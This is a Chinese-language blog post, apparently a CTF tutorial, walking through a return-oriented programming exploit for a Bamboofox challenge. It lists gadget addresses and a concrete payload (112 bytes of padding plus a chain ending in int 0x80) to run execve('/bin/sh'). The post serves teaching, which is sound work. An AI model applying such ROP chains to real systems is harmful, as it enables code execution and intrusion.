iT邦幫忙

2023 iThome 鐵人賽

DAY 22
0

差點來不及


題目源自於 Bamboofox 某題題目,現存副本於 CTF-Wiki

接續之前系統呼叫的流程,我們需要操控 register 的值,要操作就需要用的 gadgets,簡單來說 gadgets 就是一串最後有 ret 的指令,例如:

https://ithelp.ithome.com.tw/upload/images/20231007/20163074qoBaksZmiV.png

這時候如果 stack top 的值 3 我們只要跳到 080481c9,我們將 ebx 的值改為 3,接下來再往下執行到 ret 回到原本的位置。將這些 gadgets 串起來,就能達成我們所需要的 payload.

以這次的題目為例,我們要利用

execve("/bin/sh",NULL,NULL)

因此我們要將

  1. system call 編號 0xb 傳入 eax
  2. "/bin/sh" 的位址作為第一參數傳入 ebx
  3. 0 作為第二參數傳入 ecx
  4. 0 作為第三參數傳入 edx
  5. 使用 int 0x80 觸發中斷,執行 system call

要找到適合的 gadgets 可以透過 ropgadgets

我們透過此工具找到了這些:

0x080bb196 : pop eax ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x080be409 : bin/sh
0x08049421 : int 0x80

我們 payload 就會變這樣:

"A"*112 + 0x080bb196 + 0xb + 0x0806eb90 + 0 + 0 + 0x080be409 + 0x08049421

整個記憶體就會變這樣子:
https://ithelp.ithome.com.tw/upload/images/20231007/20163074f5AxStxXmu.png

執行後
https://ithelp.ithome.com.tw/upload/images/20231007/20163074q1E4wwCefN.png

燉雜燴

https://ithelp.ithome.com.tw/upload/images/20231007/20163074LTz7QFoja8.png


上一篇
Day21 大雜燴之好累喔 - 資安管:風險管理
下一篇
Day23 大雜燴之薩良卡 - 俄文:介紹
系列文
雜七雜八大雜燴,資安技術大亂鬥30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言